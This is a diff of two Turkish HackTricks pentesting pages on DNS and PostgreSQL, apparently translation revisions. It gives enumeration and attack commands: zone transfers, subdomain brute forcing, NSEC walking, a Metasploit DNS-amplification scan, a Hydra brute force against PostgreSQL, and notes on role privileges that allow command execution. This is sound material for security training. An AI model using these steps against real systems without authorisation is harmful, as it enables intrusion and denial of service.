* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) keşfedin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanmalarını sağlıyoruz. **Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine kazmaları, kabukları patlatmaları ve eğlenmeleri için zaman kazanıyoruz.
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
## **Temel Bilgiler** ## **Temel Bilgiler**
**Alan Adı Sistemi (DNS)**, kullanıcıların sayısal İnternet Protokolü (IP) adresleri yerine google.com veya facebook.com gibi **kolay hatırlanan alan adları** aracılığıyla web sitelerine erişmesine izin veren internetin dizinidir. Alan adlarını IP adreslerine çevirerek DNS, web tarayıcılarının internet kaynaklarını hızlı bir şekilde yüklemesini sağlar, çevrimiçi dünyada gezinmemizi basitleştirir. **Alan Adı Sistemi (DNS)**, kullanıcıların sayısal İnternet Protokolü (IP) adresleri yerine google.com veya facebook.com gibi **kolay hatırlanabilir alan adları** aracılığıyla web sitelerine erişmesine izin veren internetin dizinidir. Alan adlarını IP adreslerine çevirerek DNS, web tarayıcılarının internet kaynaklarını hızlı bir şekilde yüklemesini sağlar, çevrimiçi dünyada gezinmemizi basitleştirir.
**Varsayılan bağlantı noktası:** 53 **Varsayılan bağlantı noktası:** 53
``` ```
@ -33,18 +33,18 @@ PORT STATE SERVICE REASON
``` ```
### Farklı DNS Sunucuları ### Farklı DNS Sunucuları
- **DNS Kök Sunucuları**: DNS hiyerarşisinin en üstünde bulunurlar, üst düzey alanları yönetir ve alt düzey sunucular yanıt vermezse devreye girerler. İnternet Tahsisli Adlar ve Sayılar Kurumu (**ICANN**) işletmelerini denetler ve küresel olarak 13 adet bulunmaktadır. - **DNS Kök Sunucuları**: DNS hiyerarşisinin en üstünde bulunurlar, üst düzey alanları yönetir ve alt düzey sunucular yanıt vermezse devreye girerler. İnternet Tahsisli Adlar ve Numaralar Kurumu (**ICANN**) işletmelerini denetler ve küresel olarak 13 adet bulunmaktadır.
- **Yetkili Ad Sunucuları**: Bu sunucular, belirlenmiş bölgelerindeki sorgular için nihai karara sahiptir ve kesin cevaplar sunarlar. Yanıt sağlayamazlarsa, sorgu kök sunuculara yükseltilir. - **Yetkili Ad Sunucuları**: Bu sunucular, belirlenmiş bölgelerindeki sorgular için nihai karara sahiptir ve kesin cevaplar sunarlar. Yanıt sağlayamazlarsa, sorgu kök sunuculara yükseltilir.
- **Yetkisiz Ad Sunucuları**: DNS bölgeleri üzerinde sahiplikleri olmadığından, bu sunucular alan bilgilerini diğer sunuculara sorgular aracılığıyla toplarlar. - **Yetkisiz Ad Sunucuları**: DNS bölgeleri üzerinde sahiplikleri olmadığından, bu sunucular alan bilgilerini diğer sunuculara sorgular aracılığıyla toplarlar.
- **Önbelleğe Alan DNS Sunucusu**: Bu tür bir sunucu, gelecekteki istekler için yanıt sürelerini hızlandırmak için önceki sorgu yanıtlarını belirli bir süre boyunca hafızasında tutar; önbellek süresi yetkili sunucu tarafından belirlenir. - **Önbelleğe Alan DNS Sunucusu**: Bu tür bir sunucu, gelecekteki istekler için yanıt sürelerini hızlandırmak için önceki sorgu yanıtlarını belirli bir süre boyunca hafızasında tutar; önbellek süresi yetkili sunucu tarafından belirlenir.
- **Yönlendirme Sunucusu**: Basit bir rol üstlenen yönlendirme sunucuları, sorguları sadece başka bir sunucuya iletirler. - **Yönlendirme Sunucusu**: Basit bir rol üstlenen yönlendirme sunucuları, sorguları sadece başka bir sunucuya iletirler.
- **Çözümleyici**: Bilgisayarlar veya yönlendiriciler içinde entegre edilen çözümleyiciler, yerel olarak ad çözümünü gerçekleştirir ve yetkili olarak kabul edilmezler. - **Çözümleyici**: Bilgisayarlar veya yönlendiriciler içinde entegre edilen çözümleyiciler, yerel olarak ad çözümlemesi gerçekleştirir ve yetkili olarak kabul edilmezler.
## Numaralandırma ## Numaralandırma
### **Banner Yakalama** ### **Banner Yakalama**
DNS'te bannerlar olmasa da, `version.bind. CHAOS TXT` için sihirli sorguyu yakalayabilirsiniz, bu sorgu çoğu BIND ad sunucusunda çalışacaktır.\ DNS'te bannerlar bulunmamaktadır ancak `version.bind. CHAOS TXT` için sihirli sorguyu yakalayabilirsiniz, bu sorgu çoğu BIND ad sunucusunda çalışacaktır.\
Bu sorguyu `dig` kullanarak gerçekleştirebilirsiniz: Bu sorguyu `dig` kullanarak gerçekleştirebilirsiniz:
```bash ```bash
dig version.bind CHAOS TXT @DNS dig version.bind CHAOS TXT @DNS
@ -57,7 +57,7 @@ Ayrıca **nmap** betiği ile banner da alınabilir:
``` ```
### **Herhangi bir kayıt** ### **Herhangi bir kayıt**
Kayıt **ANY**, DNS sunucusuna **tüm** mevcut **girişleri** sormak için **talep** edecektir. **ANY** kaydı, DNS sunucusuna **tüm** mevcut **girişleri** sormak için **geri dönüş** yapacaktır.
```bash ```bash
dig any victim.com @<DNS_IP> dig any victim.com @<DNS_IP>
``` ```
@ -112,14 +112,14 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
``` ```
{% hint style="info" %} {% hint style="info" %}
Eğer iç IP adreslerine çözünen alt alan adlar bulabilirseniz, o IP aralığını soran alan adının NS'lerine ters dns BF yapmaya çalışmalısınız. Eğer iç IP adreslerine çözünen alt alanlar bulabilirseniz, o IP aralığını soran alan adlarının NS'lerine ters dns BF yapmaya çalışmalısınız.
{% endhint %} {% endhint %}
Bunu yapmak için başka bir araç: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) Bunun için başka bir araç: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
Ters IP aralıklarını sorgulayabilirsiniz [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (bu araç aynı zamanda BGP ile de yardımcı olur). Ters IP aralıklarını sorgulayabilirsiniz [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (bu araç aynı zamanda BGP ile de yardımcı olur).
### DNS - Alt Alan Adları BF ### DNS - Alt Alanlar BF
```bash ```bash
dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt <DOMAIN> dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt <DOMAIN>
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS> dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
@ -138,10 +138,6 @@ nslookup -type=srv _kerberos._tcp.domain.com
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='domain.com'" nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='domain.com'"
``` ```
### DNSSec ### DNSSec
#### DNSSec Nedir?
DNS üzerindeki güvenlik açıklarını gidermek için tasarlanmış bir dizi uzantıdır. Bu uzantılar, DNS trafiğini şifrelemek ve bütünlüğünü doğrulamak için kullanılır.
```bash ```bash
#Query paypal subdomains to ns3.isc-sns.info #Query paypal subdomains to ns3.isc-sns.info
nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal.com ns3.isc-sns.info nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal.com ns3.isc-sns.info
@ -152,16 +148,16 @@ Alt alan adlarının IPv6 adreslerini toplamak için "AAAA" isteklerini kullanar
```bash ```bash
dnsdict6 -s -t <domain> dnsdict6 -s -t <domain>
``` ```
### IPv6 Adreslerini Kullanarak Ters DNS Bruteforce ### IPv6 Adreslerini Kullanarak Ters DNS Bruteforce Yöntemi
IPv6 adreslerini kullanarak ters DNS bruteforce işlemi yapabilirsiniz. IPv6 adreslerini kullanarak ters DNS bruteforce yöntemi kullanılabilir.
```bash ```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
``` ```
### DNS Yineleme DDoS ### DNS Yineleme DDoS
Eğer **DNS yinelemesi etkinse**, bir saldırgan UDP paketinde **kökeni sahtekarlık yapabilir** ve **DNS'in yanıtı kurban sunucuya göndermesini sağlayabilir**. Bir saldırgan **ANY** veya **DNSSEC** kayıt türlerini istismar edebilir çünkü genellikle daha büyük yanıtlar verirler.\ Eğer **DNS yineleme etkinse**, bir saldırgan UDP paketinde **kökeni sahtekarlık yapabilir** ve **DNS'in yanıtı kurban sunucuya göndermesini sağlayabilir**. Bir saldırgan **ANY** veya **DNSSEC** kayıt türlerini istismar edebilir çünkü genellikle daha büyük yanıtlar verirler.\
Bir DNS'nin **yinelemeyi destekleyip desteklemediğini kontrol etmenin** yolu, bir alan adını sorgulamak ve yanıtta **"ra" bayrağının** (_yineleme mevcut_) olup olmadığını **kontrol etmektir**: Bir DNS'nin **yinelemeyi destekleyip desteklemediğini kontrol etmek** için bir alan adını sorgulamak ve yanıtta **"ra" bayrağının** (_yineleme mevcut_) olup olmadığını **kontrol etmek** gerekmektedir:
```bash ```bash
dig google.com A @<IP> dig google.com A @<IP>
``` ```
@ -173,21 +169,21 @@ dig google.com A @<IP>
![](<../.gitbook/assets/image (276).png>) ![](<../.gitbook/assets/image (276).png>)
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanır. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. **Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, bu araçlar ve özellikler keşiften raporlamaya kadar uzanır. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
### Var olmayan hesaba e-posta gönderme ### Var olmayan hesaba e-posta gönderme
Hedef alan etki alanında geçersiz bir adrese gönderilen bir e-posta tarafından tetiklenen teslim edilememe bildirimi (NDN) incelenerek, genellikle değerli iç ağ ayrıntıları ifşa edilir. Hedef alan etki alanında geçersiz bir adrese gönderilen bir e-posta tarafından tetiklenen teslim edilemeyen bildirimin (NDN) incelenmesi yoluyla, genellikle değerli iç ağ ayrıntıları ifşa edilir.
Sağlanan teslim edilememe raporu şu bilgileri içerir: Sağlanan teslim edilemeyen rapor şunları içerebilir:
* Oluşturan sunucu `server.example.com` olarak tanımlandı. * Oluşturan sunucu `server.example.com` olarak tanımlandı.
* `user@example.com` için `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` hata kodu ile bir başarısızlık bildirimi geri döndürüldü. * `user@example.com` için `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` hata kodu ile bir başarısızlık bildirimi geri döndürüldü.
* Orijinal ileti başlıklarında iç IP adresleri ve ana bilgisayar adları ifşa edildi. * İç IP adresleri ve ana bilgisayar adları orijinal ileti başlıklarında ifşa edildi.
```markdown ```markdown
The original message headers were modified for anonymity and now present randomized data: The original message headers were modified for anonymity and now present randomized data:
@ -211,7 +207,7 @@ filter.example.com with ESMTP id xVNPkwaqGgdyH5Ag for user@example.com; Mon,
X-Envelope-From: sender@anotherdomain.org X-Envelope-From: sender@anotherdomain.org
X-Apparent-Source-IP: 198.51.100.37 X-Apparent-Source-IP: 198.51.100.37
``` ```
## Yapılandırma Dosyaları ## Yapılandırma dosyaları
``` ```
host.conf host.conf
/etc/resolv.conf /etc/resolv.conf
@ -221,12 +217,12 @@ host.conf
/etc/bind/named.conf.log /etc/bind/named.conf.log
/etc/bind/* /etc/bind/*
``` ```
## Tehlikeli ayarlar bir Bind sunucusu yapılandırılırken: ## Tehlikeli ayarlar Bind sunucusu yapılandırılırken:
| **Seçenek** | **Açıklama** | | **Seçenek** | **Açıklama** |
| ----------------- | ------------------------------------------------------------------------------ | | ----------------- | ------------------------------------------------------------------------------ |
| `allow-query` | DNS sunucusuna istek göndermeye izin verilen ana bilgisayarları tanımlar. | | `allow-query` | DNS sunucusuna istek göndermeye izin verilen ana bilgisayarları tanımlar. |
| `allow-recursion` | DNS sunucusuna özyinelemeli istek göndermeye izin verilen ana bilgisayarları tanımlar. | | `allow-recursion` | DNS sunucusuna yinelemeli istek göndermeye izin verilen ana bilgisayarları tanımlar. |
| `allow-transfer` | DNS sunucusundan bölge transferlerini almasına izin verilen ana bilgisayarları tanımlar. | | `allow-transfer` | DNS sunucusundan bölge transferlerini almasına izin verilen ana bilgisayarları tanımlar. |
| `zone-statistics` | Bölgelerin istatistiksel verilerini toplar. | | `zone-statistics` | Bölgelerin istatistiksel verilerini toplar. |
@ -288,22 +284,22 @@ Description: DNS enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
``` ```
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar. **Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanır. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert) ile AWS hacklemeyi sıfırdan zirveye öğrenin</strong>!</summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -1,9 +1,9 @@
# 5432,5433 - PostgreSQL Pentesting # 5432,5433 - PostgreSQL Pentesting
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -14,17 +14,17 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun.**
</details> </details>
## **Temel Bilgiler** ## **Temel Bilgiler**
**PostgreSQL**, **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri, geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve organizasyonlar için çok yönlü bir seçim yapar. **PostgreSQL**, **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve kuruluşlar için çok yönlü bir seçim yapar.
**Varsayılan port:** 5432 ve bu port zaten kullanımda ise postgresql muhtemelen kullanılmayan bir sonraki portu (muhtemelen 5433) kullanacaktır. **Varsayılan port:** 5432 ve bu port zaten kullanımda ise postgresql muhtemelen kullanılmayan bir sonraki portu (muhtemelen 5433) kullanacaktır.
``` ```
@ -72,7 +72,7 @@ SELECT * FROM pg_extension;
\s \s
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Eğer **`\list`** komutunu çalıştırırken bir **`rdsadmin`** adında bir veritabanı bulursanız, içinde bulunduğunuzun bir **AWS postgresql veritabanı** olduğunu bilirsiniz. Eğer **`\list`** komutunu çalıştırırken bir **`rdsadmin`** adında bir veritabanı bulursanız, bir **AWS postgresql veritabanı** içinde olduğunuzu bilirsiniz.
{% endhint %} {% endhint %}
Daha fazla bilgi için **nasıl kötüye kullanılacağına dair PostgreSQL veritabanı** kontrol edin: Daha fazla bilgi için **nasıl kötüye kullanılacağına dair PostgreSQL veritabanı** kontrol edin:
@ -86,7 +86,7 @@ Daha fazla bilgi için **nasıl kötüye kullanılacağına dair PostgreSQL veri
msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
``` ```
### [**Kaba kuvvet**](../generic-methodologies-and-resources/brute-force.md#postgresql) ### **Kaba kuvvet**
### **Port tarama** ### **Port tarama**
@ -118,7 +118,7 @@ the server terminated abnormally before or while processing the request
#### PostgreSQL Enumeration #### PostgreSQL Enumeration
PostgreSQL runs on port 5432 by default. You can use tools like Nmap to scan for open PostgreSQL ports. PostgreSQL runs on port 5432 by default. You can use tools like Nmap to scan for open PostgreSQL ports on a target system.
```bash ```bash
nmap -p 5432 <target_ip> nmap -p 5432 <target_ip>
@ -126,7 +126,7 @@ nmap -p 5432 <target_ip>
#### PostgreSQL Brute Forcing #### PostgreSQL Brute Forcing
You can use tools like Metasploit or Hydra to perform brute force attacks against PostgreSQL. You can use tools like Metasploit or Hydra to perform brute force attacks against PostgreSQL. Here is an example using Hydra:
```bash ```bash
hydra -L users.txt -P passwords.txt postgres://<target_ip> hydra -L users.txt -P passwords.txt postgres://<target_ip>
@ -134,49 +134,47 @@ hydra -L users.txt -P passwords.txt postgres://<target_ip>
#### PostgreSQL Exploitation #### PostgreSQL Exploitation
You can exploit PostgreSQL using tools like Metasploit or by manually exploiting known vulnerabilities. One common PostgreSQL exploitation technique is to exploit weak credentials. You can also look for SQL injection vulnerabilities in PostgreSQL applications.
#### PostgreSQL Post-Exploitation #### PostgreSQL Post-Exploitation
After gaining access to a PostgreSQL database, you can perform various post-exploitation activities such as dumping data, creating new users, or executing commands on the underlying operating system. After gaining access to a PostgreSQL database, you can dump the contents, create new users, modify data, or even drop tables. Be cautious with your actions to avoid causing damage.
``` ```
``` ```
DETAIL: FATAL: password authentication failed for user "name" DETAIL: FATAL: password authentication failed for user "name"
``` ```
* Port açık veya filtrelenmiş * Port açık veya filtrelenmişdir
``` ```
DETAIL: could not connect to server: Connection timed out Is the server DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
``` ```
PL/pgSQL fonksiyonlarında, şu anda istisna ayrıntılarını almak mümkün değil. Ancak, PostgreSQL sunucusuna doğrudan erişiminiz varsa, gerekli bilgileri alabilirsiniz. Kullanıcı adlarını ve şifrelerini sistem tablolarından çıkarmak uygun değilse, önceki bölümde tartışılan kelime listesi saldırı yöntemini kullanmayı düşünebilirsiniz, çünkü olumlu sonuçlar verebilir. ## Ayrıcalıkların Sıralanması
## Yetkilerin Sıralanması
### Roller ### Roller
| Rol Türleri | | | Rol Türleri | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir | | rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir |
| rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır | | rolinherit | Rol, üye olduğu rollerin ayrıcalıklarını otomatik olarak devralır |
| rolcreaterole | Rol, daha fazla rol oluşturabilir | | rolcreaterole | Rol, daha fazla rol oluşturabilir |
| rolcreatedb | Rol, veritabanları oluşturabilir | | rolcreatedb | Rol, veritabanları oluşturabilir |
| rolcanlogin | Rol giriş yapabilir. Yani, bu rol, başlangıç oturum yetkilendirme kimliği olarak verilebilir | | rolcanlogin | Rol oturum açabilir. Yani, bu rol, başlangıç oturum yetkilendirme kimliği olarak verilebilir |
| rolreplication | Rol, bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantıları başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. | | rolreplication | Rol, bir replikasyon rolüdür. Bir replikasyon rolü, replikasyon bağlantılarını başlatabilir ve replikasyon yuvaları oluşturup silebilir. |
| rolconnlimit | Giriş yapabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız demektir. | | rolconnlimit | Oturum açabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız anlamına gelir. |
| rolpassword | Şifre değil (her zaman `********` olarak okunur) | | rolpassword | Parola değil (her zaman `********` olarak okunur) |
| rolvaliduntil | Şifre sona erme zamanı (yalnızca şifre kimlik doğrulaması için kullanılır); süresizse null | | rolvaliduntil | Parola son kullanma zamanı (yalnızca parola kimlik doğrulaması için kullanılır); süresizse null |
| rolbypassrls | Rol, her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. | | rolbypassrls | Rol, her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. |
| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özgü varsayılanlar | | rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özgü varsayılanlar |
| oid | Rol kimliği | | oid | Rol kimliği |
#### İlginç Gruplar #### İlginç Gruplar
* **`pg_execute_server_program`** üyesiyseniz **programları çalıştırabilirsiniz** * Eğer **`pg_execute_server_program`** üyesiyseniz, programları **çalıştırabilirsiniz**
* **`pg_read_server_files`** üyesiyseniz **dosyaları okuyabilirsiniz** * Eğer **`pg_read_server_files`** üyesiyseniz, dosyaları **okuyabilirsiniz**
